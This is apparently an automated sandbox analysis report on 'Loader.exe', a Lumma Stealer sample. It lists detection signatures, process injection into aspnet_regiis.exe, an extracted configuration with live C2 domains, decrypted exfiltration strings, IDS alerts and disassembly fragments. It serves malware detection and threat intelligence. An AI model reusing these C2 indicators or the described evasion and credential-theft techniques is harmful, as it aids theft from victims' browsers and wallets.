Edit tour

Windows Analysis Report
Loader.exe

Overview

General Information

Sample name:	Loader.exe
Analysis ID:	1581746
MD5:	2ec18b257662dd107ae84263ecd2e5c1
SHA1:	ce2efa8394c35b8da16428b10ece4a856c53dd1f
SHA256:	539f0617a85a7a0773cf9e36d803c1a8ddf5c69dc003c80c1f3afac147b47554
Tags:	exeuser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Loader.exe (PID: 3496 cmdline: "C:\Users\user\Desktop\Loader.exe" MD5: 2EC18B257662DD107AE84263ECD2E5C1)

conhost.exe (PID: 2272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

aspnet_regiis.exe (PID: 5772 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe" MD5: 5D1D74198D75640E889F0A577BBF31FC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["hummskitnj.buzz", "inherineau.buzz", "ingreem-eilish.biz", "screwamusresz.buzz", "scentniej.buzz", "rebuildeso.buzz", "cashfuzysao.buzz", "prisonyfork.buzz", "appliacnesot.buzz"], "Build id": "HpOoIh--5defa06fc6ab"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000003.2176809705.0000000003577000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 5772	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 5772	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 5772	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.binstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T22:05:05.268137+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	23.55.153.106	443	TCP
2024-12-28T22:05:07.752125+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	172.67.157.254	443	TCP
2024-12-28T22:05:09.767020+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	172.67.157.254	443	TCP
2024-12-28T22:05:12.146215+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	172.67.157.254	443	TCP
2024-12-28T22:05:14.544670+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	172.67.157.254	443	TCP
2024-12-28T22:05:16.862818+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	172.67.157.254	443	TCP
2024-12-28T22:05:19.402133+0100	2028371	3	Unknown Traffic	192.168.2.5	49710	172.67.157.254	443	TCP
2024-12-28T22:05:21.574600+0100	2028371	3	Unknown Traffic	192.168.2.5	49713	172.67.157.254	443	TCP
2024-12-28T22:05:23.705985+0100	2028371	3	Unknown Traffic	192.168.2.5	49716	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T22:05:08.524544+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	172.67.157.254	443	TCP
2024-12-28T22:05:10.540001+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49706	172.67.157.254	443	TCP
2024-12-28T22:05:24.619897+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49716	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T22:05:08.524544+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49705	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T22:05:10.540001+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49706	172.67.157.254	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T22:05:03.048763+0100	2058572	1	Domain Observed Used for C2 Detected	192.168.2.5	54520	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T22:05:03.188045+0100	2058576	1	Domain Observed Used for C2 Detected	192.168.2.5	52993	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T22:05:03.427192+0100	2058578	1	Domain Observed Used for C2 Detected	192.168.2.5	57564	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T22:05:02.740771+0100	2058580	1	Domain Observed Used for C2 Detected	192.168.2.5	50901	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T22:05:02.286296+0100	2058584	1	Domain Observed Used for C2 Detected	192.168.2.5	54097	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T22:05:02.454948+0100	2058586	1	Domain Observed Used for C2 Detected	192.168.2.5	51953	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T22:05:02.599824+0100	2058588	1	Domain Observed Used for C2 Detected	192.168.2.5	65086	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T22:05:02.884238+0100	2058590	1	Domain Observed Used for C2 Detected	192.168.2.5	65025	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T22:05:20.182376+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49710	172.67.157.254	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T22:05:06.050526+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	49704	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://lev-tolstoi.com/Sg5h	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/uo	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/s~	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/T	Avira URL Cloud: Label: malware

Found malware configuration

Source: Loader.exe

Malware Configuration Extractor: LummaC {"C2 url": ["hummskitnj.buzz", "inherineau.buzz", "ingreem-eilish.biz", "screwamusresz.buzz", "scentniej.buzz", "rebuildeso.buzz", "cashfuzysao.buzz", "prisonyfork.buzz", "appliacnesot.buzz"], "Build id": "HpOoIh--5defa06fc6ab"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\gdi32.dll

ReversingLabs: Detection: 63%

Multi AV Scanner detection for submitted file

Source: Loader.exe	Virustotal: Detection: 48%			Perma Link
Source: Loader.exe	ReversingLabs: Detection: 70%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\gdi32.dll

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Loader.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: Loader.exe	String decryptor: hummskitnj.buzz
Source: Loader.exe	String decryptor: cashfuzysao.buzz
Source: Loader.exe	String decryptor: appliacnesot.buzz
Source: Loader.exe	String decryptor: screwamusresz.buzz
Source: Loader.exe	String decryptor: inherineau.buzz
Source: Loader.exe	String decryptor: scentniej.buzz
Source: Loader.exe	String decryptor: rebuildeso.buzz
Source: Loader.exe	String decryptor: prisonyfork.buzz
Source: Loader.exe	String decryptor: ingreem-eilish.biz
Source: Loader.exe	String decryptor: lid=%s&j=%s&ver=4.0
Source: Loader.exe	String decryptor: TeslaBrowser/5.5
Source: Loader.exe	String decryptor: - Screen Resoluton:
Source: Loader.exe	String decryptor: - Physical Installed Memory:
Source: Loader.exe	String decryptor: Workgroup: -
Source: Loader.exe	String decryptor: HpOoIh--5defa06fc6ab

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_72C457C0 CryptUnprotectData,

3_2_72C457C0

Source: Loader.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49716 version: TLS 1.2

Source: Loader.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_6CE53460 FindFirstFileExW,

0_2_6CE53460

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then lea esi, dword ptr [eax+00000270h]	3_2_72C38A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_72C51A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	3_2_72C70340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_72C5D34A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edx, ebx	3_2_72C38600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-16h]	3_2_72C71720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov eax, ebx	3_2_72C57440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+09AD4080h]	3_2_72C57440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edi, dword ptr [esi+30h]	3_2_72C3CC7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-16h]	3_2_72C70D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_72C5AAC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [ecx+ebx*8], 385488F2h	3_2_72C6CA40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_72C66210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then dec edx	3_2_72C6FA20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	3_2_72C373D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	3_2_72C373D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_72C583D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-6E2DD57Fh]	3_2_72C4EB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+0Ah]	3_2_72C3AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	3_2_72C4C300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then dec edx	3_2_72C6FB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edx, ecx	3_2_72C48B1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then dec edx	3_2_72C6FB2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then dec edx	3_2_72C6FB28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov esi, ecx	3_2_72C590D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	3_2_72C4D8D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	3_2_72C4D8D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_72C5E0DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_72C5C0E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edx, ecx	3_2_72C4B8F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edx, ecx	3_2_72C4B8F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_72C5C09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov eax, ebx	3_2_72C4C8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-000000BEh]	3_2_72C4C8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edx+0Ah]	3_2_72C4C8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-2E3D7ACEh]	3_2_72C4C8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	3_2_72C4D8AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	3_2_72C4D8AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_72C5C850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then push esi	3_2_72C3C805
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_72C52830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+04h]	3_2_72C6C830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_72C581CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_72C589E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [edi], al	3_2_72C5B980
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	3_2_72C6C990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then jmp edx	3_2_72C539B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+eax]	3_2_72C539B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_72C5C09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-16h]	3_2_72C71160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov eax, dword ptr [72C76130h]	3_2_72C48169
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	3_2_72C5B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	3_2_72C5D17D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	3_2_72C5D116
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-16h]	3_2_72C706F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edx, ecx	3_2_72C59E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+edi+00000090h]	3_2_72C32EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	3_2_72C52E6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then jmp edx	3_2_72C52E6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+eax]	3_2_72C52E6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_72C5DE07
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then dec edx	3_2_72C6FE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then jmp edx	3_2_72C537D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov dword ptr [esp+20h], eax	3_2_72C39780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+20h]	3_2_72C57740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_72C46F52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	3_2_72C5BF13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edi, dword ptr [esp+28h]	3_2_72C55F1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then jmp eax	3_2_72C59739
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_72C44CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [eax+edi-74D5A7FEh]	3_2_72C5C465
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_72C5C465
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_72C4747D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [edx], di	3_2_72C4747D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+eax-46h]	3_2_72C6EDC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2213E57Fh	3_2_72C6CDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-3ECB279Fh]	3_2_72C6CDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2213E57Fh	3_2_72C6CDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 7F7BECC6h	3_2_72C6CDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_72C5DDFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edi, ecx	3_2_72C5A5B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then dec edx	3_2_72C6FD70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+61765397h]	3_2_72C4B57D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edx, ecx	3_2_72C56D2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	3_2_72C58528

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058588 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz) : 192.168.2.5:65086 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058584 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz) : 192.168.2.5:54097 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058578 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz) : 192.168.2.5:57564 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058576 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz) : 192.168.2.5:52993 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058580 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz) : 192.168.2.5:50901 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058586 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz) : 192.168.2.5:51953 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058572 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz) : 192.168.2.5:54520 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058590 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz) : 192.168.2.5:65025 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49704 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49706 -> 172.67.157.254:443
